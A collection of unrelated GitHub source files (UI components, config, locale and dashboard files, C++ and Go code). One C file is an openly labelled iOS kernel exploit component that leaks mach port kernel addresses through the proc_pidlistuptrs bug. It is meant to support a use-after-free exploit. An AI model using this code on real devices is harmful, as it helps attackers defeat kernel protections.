class="nroffsh">DEFAULT</h2> <p class="level0">NULL <a name="PROTOCOLS"></a><h2 class="nroffsh">PROTOCOLS</h2> <p class="level0">SFTP and SCP <a name="EXAMPLE"></a><h2 class="nroffsh">EXAMPLE</h2> <p class="level0">TODO <a name="AVAILABILITY"></a><h2 class="nroffsh">AVAILABILITY</h2> <p class="level0">Added in 7.19.6 <a name="RETURN"></a><h2 class="nroffsh">RETURN VALUE</h2> <p class="level0">Returns CURLE_OK if the option is supported, and CURLE_UNKNOWN_OPTION if not. <a name="SEE"></a><h2 class="nroffsh">SEE ALSO</h2> <p class="level0"><a Class="manpage" href="./CURLOPT_SSH_KEYDATA.html">CURLOPT_SSH_KEYDATA</a>, <a Class="manpage" href="./CURLOPT_SSH_KNOWNHOSTS.html">CURLOPT_SSH_KNOWNHOSTS</a><p class="roffit"> This HTML page was made with <a href="http://daniel.haxx.se/projects/roffit/">roffit</a>. </body></html>
{ "pile_set_name": "Github" }
import { Component, Element, Event, EventEmitter, Method, Prop, State, Watch, h } from '@stencil/core'; import { lockBodyScrolling, unlockBodyScrolling } from '../../utilities/scroll'; import { hasSlot } from '../../utilities/slot'; let id = 0; /** * @since 2.0 * @status stable * * @slot - The drawer's content. * @slot footer - The drawer's footer, usually one or more buttons representing various options. * * @part base - The component's base wrapper. * @part overlay - The overlay. * @part panel - The drawer panel (where the drawer and its is rendered). * @part header - The drawer header. * @part title - The drawer title. * @part close-button - The close button. * @part body - The drawer body. * @part footer - The drawer footer. */ @Component({ tag: 'sl-drawer', styleUrl: 'drawer.scss', shadow: true }) export class Drawer { componentId = `drawer-${++id}`; drawer: HTMLElement; isShowing = false; panel: HTMLElement; @Element() host: HTMLSlDrawerElement; @State() hasFooter = false; /** Indicates whether or not the drawer is open. You can use this in lieu of the show/hide methods. */ @Prop({ mutable: true, reflect: true }) open = false; /** * The drawer's label as displayed in the header. You should always include a relevant label even when using * `no-header`, as it is required for proper accessibility. */ @Prop() label = ''; /** The direction from which the drawer will open. */ @Prop() placement: 'top' | 'right' | 'bottom' | 'left' = 'right'; /** * By default, the drawer slides out of its containing block (usually the viewport). To make the drawer slide out of * its parent element, set this prop and add `position: relative` to the parent. */ @Prop() contained = false; /** * Removes the header. This will also remove the default close button, so please ensure you provide an easy, * accessible way for users to dismiss the drawer. */ @Prop() noHeader = false; @Watch('open') handleOpenChange() { this.open ? this.show() : this.hide(); } /** Emitted when the drawer opens. Calling `event.preventDefault()` will prevent it from being opened. */ @Event() slShow: EventEmitter; /** Emitted after the drawer opens and all transitions are complete. */ @Event() slAfterShow: EventEmitter; /** Emitted when the drawer closes. Calling `event.preventDefault()` will prevent it from being closed. */ @Event() slHide: EventEmitter; /** Emitted after the drawer closes and all transitions are complete. */ @Event() slAfterHide: EventEmitter; /** Emitted when the overlay is clicked. Calling `event.preventDefault()` will prevent the drawer from closing. */ @Event() slOverlayDismiss: EventEmitter; connectedCallback() { this.handleCloseClick = this.handleCloseClick.bind(this); this.handleTransitionEnd = this.handleTransitionEnd.bind(this); this.handleDocumentFocusIn = this.handleDocumentFocusIn.bind(this); this.handleKeyDown = this.handleKeyDown.bind(this); this.handleOverlayClick = this.handleOverlayClick.bind(this); this.updateSlots = this.updateSlots.bind(this); } componentWillLoad() { this.updateSlots(); this.host.shadowRoot.addEventListener('slotchange', this.updateSlots); } componentDidLoad() { // Show on init if open if (this.open) { this.show(); } } disconnectedCallback() { unlockBodyScrolling(this.host); this.host.shadowRoot.removeEventListener('slotchange', this.updateSlots); } /** Shows the drawer */ @Method() async show() { // Prevent subsequent calls to the method, whether manually or triggered by the `open` watcher if (this.isShowing) { return; } const slShow = this.slShow.emit(); if (slShow.defaultPrevented) { this.open = false; return; } this.drawer.hidden = false; this.host.clientWidth; // force a reflow this.isShowing = true; this.open = true; // Lock body scrolling only if the drawer isn't contained if (!this.contained) { lockBodyScrolling(this.host); } document.addEventListener('focusin', this.handleDocumentFocusIn); } /** Hides the drawer */ @Method() async hide() { // Prevent subsequent calls to the method, whether manually or triggered by the `open` watcher if (!this.isShowing) { return; } const slHide = this.slHide.emit(); if (slHide.defaultPrevented) { this.open = true; return; } this.isShowing = false; this.open = false; unlockBodyScrolling(this.host); document.removeEventListener('focusin', this.handleDocumentFocusIn); } handleCloseClick() { this.hide(); } handleDocumentFocusIn(event: Event) { const target = event.target as HTMLElement; // Trap focus only if the drawer is NOT contained if (!this.contained && target.closest('sl-drawer') !== this.host) { this.panel.focus(); } } handleKeyDown(event: KeyboardEvent) { if (event.key === 'Escape') { this.hide(); } } handleOverlayClick() { const slOverlayDismiss = this.slOverlayDismiss.emit(); if (!slOverlayDismiss.defaultPrevented) { this.hide(); } } handleTransitionEnd(event: TransitionEvent) { const target = event.target as HTMLElement; // Ensure we only emit one event when the target element is no longer visible if (event.propertyName === 'transform' && target.classList.contains('drawer__panel')) { this.drawer.hidden = !this.open; this.open ? this.slAfterShow.emit() : this.slAfterHide.emit(); if (this.open) { this.panel.focus(); } } } updateSlots() { this.hasFooter = hasSlot(this.host, 'footer'); } render() { return ( <div ref={el => (this.drawer = el)} part="base" class={{ drawer: true, 'drawer--open': this.open, 'drawer--top': this.placement === 'top', 'drawer--right': this.placement === 'right', 'drawer--bottom': this.placement === 'bottom', 'drawer--left': this.placement === 'left', 'drawer--contained': this.contained, 'drawer--fixed': !this.contained, 'drawer--has-footer': this.hasFooter }} onKeyDown={this.handleKeyDown} onTransitionEnd={this.handleTransitionEnd} hidden > <div part="overlay" class="drawer__overlay" onClick={this.handleOverlayClick} /> <div ref={el => (this.panel = el)} part="panel" class="drawer__panel" role="dialog" aria-modal="true" aria-hidden={!this.open} aria-label={this.noHeader ? this.label : null} aria-labelledby={!this.noHeader ? `${this.componentId}-title` : null} tabIndex={0} > {!this.noHeader && ( <header part="header" class="drawer__header"> <span part="title" class="drawer__title" id={`${this.componentId}-title`}> {/* If there's no label, use an invisible character to prevent the heading from collapsing */} {this.label || String.fromCharCode(65279)} </span> <sl-icon-button part="close-button" class="drawer__close" name="x" onClick={this.handleCloseClick} /> </header> )} <div part="body" class="drawer__body"> <slot /> </div> <footer part="footer" class="drawer__footer"> <slot name="footer" /> </footer> </div> </div> ); } }
{ "pile_set_name": "Github" }
{ "id": "35302639", "url": "https:\/\/collection.cooperhewitt.org\/types\/35302639\/", "name": "Dessert fork", "count_objects": "16", "supersedes": "0", "superseded_by": "0" }
{ "pile_set_name": "Github" }
wk: welcome: title: "Wyah" paragraph: "Wyaaaaaa. Ruh ruh. Huwaa muaa mumwa. Wyogg, ur oh. Wua ga ma uma ahuma ooma. Ruh gwyaaaag. Youw." products: title: "Mauhwaa" released: "Ruhhha" flash: login: "Wohooohaaa" number: format: precision: 3 separator: '|' delimiter: '-' currency: format: unit: '$' precision: 2 format: '%u%n'
{ "pile_set_name": "Github" }
object Form4: TForm4 Left = 0 Top = 0 Caption = 'Form4' ClientHeight = 415 ClientWidth = 559 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'Tahoma' Font.Style = [] OldCreateOrder = False PixelsPerInch = 96 TextHeight = 13 object Label1: TLabel Left = 409 Top = 0 Width = 150 Height = 415 Align = alClient Caption = 'This demo shows 1000 objects representing employees from differe' + 'nt offices. With LiveBindings we can easily group this data and ' + 'show a great summary of the data' WordWrap = True ExplicitWidth = 149 ExplicitHeight = 78 end object ListView1: TListView Left = 0 Top = 0 Width = 409 Height = 415 Align = alLeft Columns = < item Caption = 'First Name' Width = 100 end item Caption = 'Last Name' Width = 100 end item Caption = 'Office' Width = 100 end item Alignment = taRightJustify Caption = 'Salary' Width = 80 end> Groups = < item Header = 'Software Engineer' GroupID = 0 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end item Header = 'Receptionist' GroupID = 1 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end item Header = 'Accountant' GroupID = 2 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end item Header = 'Product Specialist' GroupID = 3 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end item Header = 'Sales Manager' GroupID = 4 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end item Header = 'Vice President' GroupID = 5 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end item Header = 'Sales Manager' GroupID = 6 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end item Header = 'Account Manager' GroupID = 7 State = [lgsNormal] HeaderAlign = taLeftJustify FooterAlign = taLeftJustify TitleImage = -1 end> Items.ItemData = { 05960400000A00000000000000FFFFFFFFFFFFFFFF0400000002000000040000 00084200690074006D006100700031003400084200690074006D006100700031 003400000000000F4D0065006400690075006D00760069006F006C0065007400 7200650064000000000005380031002E00380031000000000000000000000000 0000FFFFFFFFFFFFFFFF040000000100000003000000084200690074006D0061 00700031003600084200690074006D00610070003100360000000000104D0065 006400690075006D0061007100750061006D006100720069006E006500000000 0005370038002E003700380000000000000000000000000000FFFFFFFFFFFFFF FF040000000500000008000000084200690074006D0061007000310039000842 00690074006D006100700031003900000000000442006C007500650000000000 04360030002E00360000000000000000000000000000FFFFFFFFFFFFFFFF0400 0000070000000A000000084200690074006D0061007000320032000842006900 74006D006100700032003200000000000A50006F00770064006500720062006C 00750065000000000005310035002E0031003500000000000000000000000000 00FFFFFFFFFFFFFFFF040000000600000009000000084200690074006D006100 700032003500084200690074006D006100700032003500000000000B47007200 650065006E00790065006C006C006F0077000000000005370031002E00370031 0000000000000000000000000000FFFFFFFFFFFFFFFF04000000000000000100 0000084200690074006D006100700032003800084200690074006D0061007000 32003800000000000D4400610072006B0067006F006C00640065006E0072006F 0064000000000005360037002E003600370000000000000000000000000000FF FFFFFFFFFFFFFF040000000300000005000000084200690074006D0061007000 34003100084200690074006D006100700034003100000000000A470068006F00 73007400770068006900740065000000000005330037002E0033003700000000 00000000000000000000FFFFFFFFFFFFFFFF0400000004000000060000000842 00690074006D006100700034003300084200690074006D006100700034003300 000000000A530061006E0064007900620072006F0077006E0000000000053400 31002E003400310000000000000000000000000000FFFFFFFFFFFFFFFF040000 000000000002000000084200690074006D006100700034003600084200690074 006D0061007000340036000000000005490076006F0072007900000000000537 0039002E003700390000000000000000000000000000FFFFFFFFFFFFFFFF0400 00000500000007000000084200690074006D0061007000340037000842006900 74006D006100700034003700000000000E43006F0072006E0066006C006F0077 006500720062006C00750065000000000005340033002E003400330000000000 0000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} GroupView = True SortType = stBoth TabOrder = 0 ViewStyle = vsReport end object Button1: TButton Left = 448 Top = 336 Width = 75 Height = 25 Caption = 'Total >>' TabOrder = 1 OnClick = Button1Click end object PrototypeBindSource1: TPrototypeBindSource AutoActivate = True AutoPost = False RecordCount = 10 FieldDefs = < item Name = 'FirstName' Generator = 'BitmapNames' ReadOnly = False end item Name = 'LastName' Generator = 'BitmapNames' ReadOnly = False end item Name = 'Office' Generator = 'ContactTitles' ReadOnly = False end item Name = 'Salary' FieldType = ftCurrency Generator = 'Currency' ReadOnly = False end item Name = 'Team' Generator = 'ColorsNames' ReadOnly = False end> ScopeMappings = <> OnCreateAdapter = PrototypeBindSource1CreateAdapter Left = 464 Top = 120 end object BindingsList1: TBindingsList Methods = <> OutputConverters = <> Left = 468 Top = 181 object LinkFillControlToField1: TLinkFillControlToField Category = 'Quick Bindings' Control = ListView1 Track = True FillDataSource = PrototypeBindSource1 FillDisplayFieldName = 'FirstName' AutoFill = True FillExpressions = < item SourceMemberName = 'LastName' ControlMemberName = 'SubItems[0]' end item SourceMemberName = 'Team' ControlMemberName = 'SubItems[1]' end item SourceMemberName = 'Salary' ControlMemberName = 'SubItems[2]' end> FillHeaderExpressions = <> FillHeaderFieldName = 'Office' FillBreakGroups = <> end end end
{ "pile_set_name": "Github" }
using System.Threading.Tasks; namespace Bing.ExceptionHandling { /// <summary> /// 异常订阅器基类 /// </summary> public abstract class ExceptionSubscriber : IExceptionSubscriber { /// <summary> /// 处理 /// </summary> /// <param name="context">异常通知上下文</param> public abstract Task HandleAsync(ExceptionNotificationContext context); } }
{ "pile_set_name": "Github" }
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <mach/mach.h> #include "find_port.h" #include "kmem.h" #include "symbols.h" #include "kutils.h" /* * this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372) * * It will reliably determine the kernel address of a mach port. * Knowing the addresses of ports makes the other UaF exploit much simpler. */ // missing headers #define KEVENT_FLAG_WORKLOOP 0x400 typedef uint64_t kqueue_id_t; struct kevent_qos_s { uint64_t ident; /* identifier for this event */ int16_t filter; /* filter for event */ uint16_t flags; /* general flags */ uint32_t qos; /* quality of service when servicing event */ uint64_t udata; /* opaque user data identifier */ uint32_t fflags; /* filter-specific flags */ uint32_t xflags; /* extra filter-specific flags */ int64_t data; /* filter-specific data */ uint64_t ext[4]; /* filter-specific extensions */ }; #define PRIVATE #include <sys/types.h> #include <sys/event.h> #include <sys/time.h> #include <sys/event.h> struct kevent_extinfo { struct kevent_qos_s kqext_kev; uint64_t kqext_sdata; int kqext_status; int kqext_sfflags; uint64_t kqext_reserved[2]; }; extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags); int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize); // appends n_events user events onto this process's kevent queue static void fill_events(int n_events) { struct kevent_qos_s events_id[] = {{ .filter = EVFILT_USER, .ident = 1, .flags = EV_ADD, .udata = 0x2345 }}; kqueue_id_t id = 0x1234; for (int i = 0; i < n_events; i++) { int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL, KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE); if (err != 0) { printf(" [-] failed to enqueue user event\n"); exit(EXIT_FAILURE); } events_id[0].ident++; } } int kqueues_allocated = 0; static void prepare_kqueue() { // ensure there are a large number of events so that kevent_proc_copy_uptrs // always returns a large number if (kqueues_allocated) { return; } fill_events(10000); printf(" [+] prepared kqueue\n"); kqueues_allocated = 1; } // will make a kalloc allocation of (count*8)+7 // and only write to the first (count*8) bytes. // the return value is those last 7 bytes uninitialized bytes as a uint64_t // (the upper byte will be set to 0) static uint64_t try_leak(int count) { int buf_size = (count*8)+7; char* buf = calloc(buf_size+1, 1); int err = proc_list_uptrs(getpid(), (void*)buf, buf_size); if (err == -1) { return 0; } // the last 7 bytes will contain the leaked data: uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc return last_val; } struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; }; // fills a kalloc allocation with count times of target_port's struct ipc_port pointer // To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { // allocate a port to send the message to mach_port_t q = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); if (err != KERN_SUCCESS) { printf(" [-] failed to allocate port\n"); exit(EXIT_FAILURE); } mach_port_t* ports = malloc(sizeof(mach_port_t) * count); for (int i = 0; i < count; i++) { ports[i] = target_port; } struct ool_msg* msg = calloc(1, sizeof(struct ool_msg)); msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); msg->hdr.msgh_remote_port = q; msg->hdr.msgh_local_port = MACH_PORT_NULL; msg->hdr.msgh_id = 0x41414141; msg->body.msgh_descriptor_count = 1; msg->ool_ports.address = ports; msg->ool_ports.count = count; msg->ool_ports.deallocate = 0; msg->ool_ports.disposition = disposition; msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct ool_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf(" [-] failed to send message: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } return q; } static int uint64_t_compare(const void* a, const void* b) { uint64_t a_val = (*(uint64_t*)a); uint64_t b_val = (*(uint64_t*)b); if (a_val < b_val) { return -1; } if (a_val == b_val) { return 0; } return 1; } uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) { prepare_kqueue(); int n_guesses = 100; uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t)); int valid_guesses = 0; for (int i = 1; i < n_guesses+1; i++) { mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition); mach_port_destroy(mach_task_self(), q); uint64_t leaked = try_leak(i-1); //printf("leaked %016llx\n", leaked); // a valid guess is one which looks a bit like a kernel heap pointer // without the upper byte: if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) { guesses[valid_guesses++] = leaked | 0xff00000000000000; } } if (valid_guesses == 0) { printf(" [-] couldn't leak any kernel pointers\n"); exit(EXIT_FAILURE); } // return the most frequent guess qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare); uint64_t best_guess = guesses[0]; int best_guess_count = 1; uint64_t current_guess = guesses[0]; int current_guess_count = 1; for (int i = 1; i < valid_guesses; i++) { if (guesses[i] == guesses[i-1]) { current_guess_count++; if (current_guess_count > best_guess_count) { best_guess = current_guess; best_guess_count = current_guess_count; } } else { current_guess = guesses[i]; current_guess_count = 1; } } //printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses); free(guesses); return best_guess; } uint64_t find_port_via_kmem_read(mach_port_name_t port) { uint64_t task_port_addr = task_self_addr(); uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); uint32_t port_index = port >> 8; const int sizeof_ipc_entry_t = 0x18; uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); return port_addr; } uint64_t find_port_address(mach_port_t port, int disposition) { if (have_kmem_read()) { return find_port_via_kmem_read(port); } return find_port_via_proc_pidlistuptrs_bug(port, disposition); }
{ "pile_set_name": "Github" }
if(WIN32) otr_module(proto-freetrack) target_link_libraries(opentrack-proto-freetrack opentrack-csv) endif()
{ "pile_set_name": "Github" }
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = prefixAll; var _prefixProps = require('./prefixProps'); var _prefixProps2 = _interopRequireDefault(_prefixProps); var _capitalizeString = require('../utils/capitalizeString'); var _capitalizeString2 = _interopRequireDefault(_capitalizeString); var _sortPrefixedStyle = require('../utils/sortPrefixedStyle'); var _sortPrefixedStyle2 = _interopRequireDefault(_sortPrefixedStyle); var _position = require('./plugins/position'); var _position2 = _interopRequireDefault(_position); var _calc = require('./plugins/calc'); var _calc2 = _interopRequireDefault(_calc); var _cursor = require('./plugins/cursor'); var _cursor2 = _interopRequireDefault(_cursor); var _flex = require('./plugins/flex'); var _flex2 = _interopRequireDefault(_flex); var _sizing = require('./plugins/sizing'); var _sizing2 = _interopRequireDefault(_sizing); var _gradient = require('./plugins/gradient'); var _gradient2 = _interopRequireDefault(_gradient); var _transition = require('./plugins/transition'); var _transition2 = _interopRequireDefault(_transition); var _flexboxIE = require('./plugins/flexboxIE'); var _flexboxIE2 = _interopRequireDefault(_flexboxIE); var _flexboxOld = require('./plugins/flexboxOld'); var _flexboxOld2 = _interopRequireDefault(_flexboxOld); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // special flexbox specifications var plugins = [_position2.default, _calc2.default, _cursor2.default, _sizing2.default, _gradient2.default, _transition2.default, _flexboxIE2.default, _flexboxOld2.default, _flex2.default]; /** * Returns a prefixed version of the style object using all vendor prefixes * @param {Object} styles - Style object that gets prefixed properties added * @returns {Object} - Style object with prefixed properties and values */ function prefixAll(styles) { Object.keys(styles).forEach(function (property) { var value = styles[property]; if (value instanceof Object && !Array.isArray(value)) { // recurse through nested style objects styles[property] = prefixAll(value); } else { Object.keys(_prefixProps2.default).forEach(function (prefix) { var properties = _prefixProps2.default[prefix]; // add prefixes if needed if (properties[property]) { styles[prefix + (0, _capitalizeString2.default)(property)] = value; } }); } }); Object.keys(styles).forEach(function (property) { [].concat(styles[property]).forEach(function (value, index) { // resolve every special plugins plugins.forEach(function (plugin) { return assignStyles(styles, plugin(property, value)); }); }); }); return (0, _sortPrefixedStyle2.default)(styles); } function assignStyles(base) { var extend = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1]; Object.keys(extend).forEach(function (property) { var baseValue = base[property]; if (Array.isArray(baseValue)) { [].concat(extend[property]).forEach(function (value) { var valueIndex = baseValue.indexOf(value); if (valueIndex > -1) { base[property].splice(valueIndex, 1); } base[property].push(value); }); } else { base[property] = extend[property]; } }); } module.exports = exports['default'];
{ "pile_set_name": "Github" }
{ "objects": [ { "attributes": { "description": "HAProxy frontend metrics", "hits": 0, "kibanaSavedObjectMeta": { "searchSourceJSON": { "filter": [], "highlightAll": true, "query": { "language": "kuery", "query": "" }, "version": true } }, "optionsJSON": { "darkTheme": false, "hidePanelTitles": false, "useMargins": true }, "panelsJSON": [ { "gridData": { "h": 3, "i": "3", "w": 6, "x": 6, "y": 3 }, "id": "86159190-47c5-11e8-bc13-1397384faad3-ecs", "panelIndex": "3", "type": "visualization", "version": "6.2.2" }, { "gridData": { "h": 3, "i": "4", "w": 12, "x": 0, "y": 0 }, "id": "fcbdfa60-47bd-11e8-bc13-1397384faad3-ecs", "panelIndex": "4", "type": "visualization", "version": "6.2.2" }, { "gridData": { "h": 3, "i": "5", "w": 6, "x": 0, "y": 3 }, "id": "30956d00-47d7-11e8-bc13-1397384faad3-ecs", "panelIndex": "5", "type": "visualization", "version": "6.2.2" } ], "timeRestore": false, "title": "[Metricbeat HAProxy] HTTP frontend ECS", "version": 1 }, "id": "e9057ae0-47c5-11e8-bc13-1397384faad3-ecs", "type": "dashboard", "updated_at": "2018-04-24T18:34:15.954Z", "version": 5 } ], "version": "6.2.2" }
{ "pile_set_name": "Github" }
// Copyright 2013 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package icmp import ( "net" "golang.org/x/net/internal/iana" ) const ipv6PseudoHeaderLen = 2*net.IPv6len + 8 // IPv6PseudoHeader returns an IPv6 pseudo header for checksum // calculation. func IPv6PseudoHeader(src, dst net.IP) []byte { b := make([]byte, ipv6PseudoHeaderLen) copy(b, src.To16()) copy(b[net.IPv6len:], dst.To16()) b[len(b)-1] = byte(iana.ProtocolIPv6ICMP) return b }
{ "pile_set_name": "Github" }
/** * spaintgui: Model.cpp * Copyright (c) Torr Vision Group, University of Oxford, 2015. All rights reserved. */ #include "Model.h" using namespace ORUtils; using namespace itmx; using namespace orx; using namespace tvginput; #include <ITMLib/Engines/Visualisation/ITMSurfelVisualisationEngineFactory.h> #include <ITMLib/Engines/Visualisation/ITMVisualisationEngineFactory.h> using namespace ITMLib; #include <spaint/markers/VoxelMarkerFactory.h> #include <spaint/selectiontransformers/SelectionTransformerFactory.h> #include <spaint/selectors/NullSelector.h> #include <spaint/selectors/PickingSelector.h> using namespace spaint; #ifdef WITH_LEAP #include <spaint/selectors/LeapSelector.h> #endif #ifdef WITH_ARRAYFIRE #include <spaint/selectors/TouchSelector.h> #endif //#################### CONSTRUCTORS #################### Model::Model(const Settings_CPtr& settings, const std::string& resourcesDir, size_t maxLabelCount, const MappingServer_Ptr& mappingServer) : m_labelManager(new LabelManager(maxLabelCount)), m_mappingServer(mappingServer), m_resourcesDir(resourcesDir), m_selector(new NullSelector(settings)), m_semanticLabel(0), m_settings(settings), m_surfelVisualisationEngine(ITMSurfelVisualisationEngineFactory<SpaintSurfel>::make_surfel_visualisation_engine(settings->deviceType)), m_voxelMarker(VoxelMarkerFactory::make_voxel_marker(settings->deviceType)), m_voxelVisualisationEngine(ITMVisualisationEngineFactory::MakeVisualisationEngine<SpaintVoxel,ITMVoxelIndex>(settings->deviceType)) { // Set up the selection transformer. const int initialSelectionRadius = 2; m_selectionTransformer = SelectionTransformerFactory::make_voxel_to_cube(initialSelectionRadius, settings->deviceType); // Set up the visualisation generator. m_visualisationGenerator.reset(new VisualisationGenerator(settings, m_labelManager, m_voxelVisualisationEngine, m_surfelVisualisationEngine)); // If we're using the Vicon system: if(settings->get_first_value<bool>("useVicon")) { #ifdef WITH_VICON // Set up the Vicon interface. m_vicon.reset(new ViconInterface(settings->get_first_value<std::string>("viconHost"))); // Give the tracker factory access to the Vicon interface so that it can construct Vicon-based trackers. m_trackerFactory.set_vicon(m_vicon); #else throw std::runtime_error("Error: Vicon support not currently available. Reconfigure in CMake with the WITH_VICON option set to on."); #endif } } //#################### PUBLIC MEMBER FUNCTIONS #################### void Model::clear_labels(const std::string& sceneID, ClearingSettings settings) { ITMLocalVBA<SpaintVoxel>& localVBA = get_slam_state(sceneID)->get_voxel_scene()->localVBA; m_voxelMarker->clear_labels(localVBA.GetVoxelBlocks(), localVBA.allocatedSize, settings); } const LabelManager_Ptr& Model::get_label_manager() { return m_labelManager; } LabelManager_CPtr Model::get_label_manager() const { return m_labelManager; } const MappingServer_Ptr& Model::get_mapping_server() { return m_mappingServer; } MappingServer_CPtr Model::get_mapping_server() const { return m_mappingServer; } const std::string& Model::get_resources_dir() const { return m_resourcesDir; } Model::Selection_CPtr Model::get_selection() const { Selection_CPtr selection = m_selector->get_selection(); return selection && m_selectionTransformer ? Selection_CPtr(m_selectionTransformer->transform_selection(*selection)) : selection; } SelectionTransformer_CPtr Model::get_selection_transformer() const { return m_selectionTransformer; } Selector_CPtr Model::get_selector() const { return m_selector; } SpaintVoxel::Label Model::get_semantic_label() const { return m_semanticLabel; } const Settings_CPtr& Model::get_settings() const { return m_settings; } Model::SurfelVisualisationEngine_CPtr Model::get_surfel_visualisation_engine() const { return m_surfelVisualisationEngine; } const TrackerFactory& Model::get_tracker_factory() const { return m_trackerFactory; } #ifdef WITH_VICON const ViconInterface_Ptr& Model::get_vicon() { return m_vicon; } ViconInterface_CPtr Model::get_vicon() const { return m_vicon; } #endif VisualisationGenerator_CPtr Model::get_visualisation_generator() const { return m_visualisationGenerator; } Model::VoxelVisualisationEngine_CPtr Model::get_voxel_visualisation_engine() const { return m_voxelVisualisationEngine; } void Model::mark_voxels(const std::string& sceneID, const Selection_CPtr& selection, SpaintVoxel::PackedLabel label, MarkingMode mode, const PackedLabels_Ptr& oldLabels) { m_voxelMarker->mark_voxels(*selection, label, get_slam_state(sceneID)->get_voxel_scene().get(), mode, oldLabels.get()); } void Model::mark_voxels(const std::string& sceneID, const Selection_CPtr& selection, const PackedLabels_CPtr& labels, MarkingMode mode) { m_voxelMarker->mark_voxels(*selection, *labels, get_slam_state(sceneID)->get_voxel_scene().get(), mode); } void Model::set_leap_fiducial_id(const std::string& leapFiducialID) { m_leapFiducialID = leapFiducialID; } void Model::set_semantic_label(SpaintVoxel::Label semanticLabel) { m_semanticLabel = semanticLabel; } void Model::update_selector(const InputState& inputState, const SLAMState_CPtr& slamState, const VoxelRenderState_CPtr& renderState, bool renderingInMono) { // Allow the user to switch between different selectors. if(inputState.key_down(KEYCODE_i)) { if(inputState.key_down(KEYCODE_1)) m_selector.reset(new NullSelector(m_settings)); else if(inputState.key_down(KEYCODE_2)) m_selector.reset(new PickingSelector(m_settings)); #ifdef WITH_LEAP else if(inputState.key_down(KEYCODE_3)) { m_selector.reset(new LeapSelector(m_settings, m_voxelVisualisationEngine, LeapSelector::MODE_POINT, m_leapFiducialID)); } #endif #ifdef WITH_ARRAYFIRE else if(inputState.key_down(KEYCODE_4)) { const TouchSettings_Ptr touchSettings(new TouchSettings(m_resourcesDir + "/TouchSettings.xml")); const size_t maxKeptTouchPoints = 50; m_selector.reset(new TouchSelector(m_settings, touchSettings, get_slam_state(Model::get_world_scene_id())->get_depth_image_size(), maxKeptTouchPoints)); const int initialSelectionRadius = 1; m_selectionTransformer = SelectionTransformerFactory::make_voxel_to_cube(initialSelectionRadius, m_settings->deviceType); } #endif } // Update the current selection transformer (if any). if(m_selectionTransformer) m_selectionTransformer->update(inputState); // Update the current selector (provided the render state is valid). if(renderState) m_selector->update(inputState, slamState, renderState, renderingInMono); } //#################### PUBLIC STATIC MEMBER FUNCTIONS #################### std::string Model::get_world_scene_id() { return "World"; } //#################### DISAMBIGUATORS #################### Relocaliser_Ptr& Model::get_relocaliser(const std::string& sceneID) { return SLAMContext::get_relocaliser(sceneID); } Relocaliser_CPtr Model::get_relocaliser(const std::string& sceneID) const { return SLAMContext::get_relocaliser(sceneID); } const std::vector<std::string>& Model::get_scene_ids() const { return SLAMContext::get_scene_ids(); } const SLAMState_Ptr& Model::get_slam_state(const std::string& sceneID) { return SLAMContext::get_slam_state(sceneID); } SLAMState_CPtr 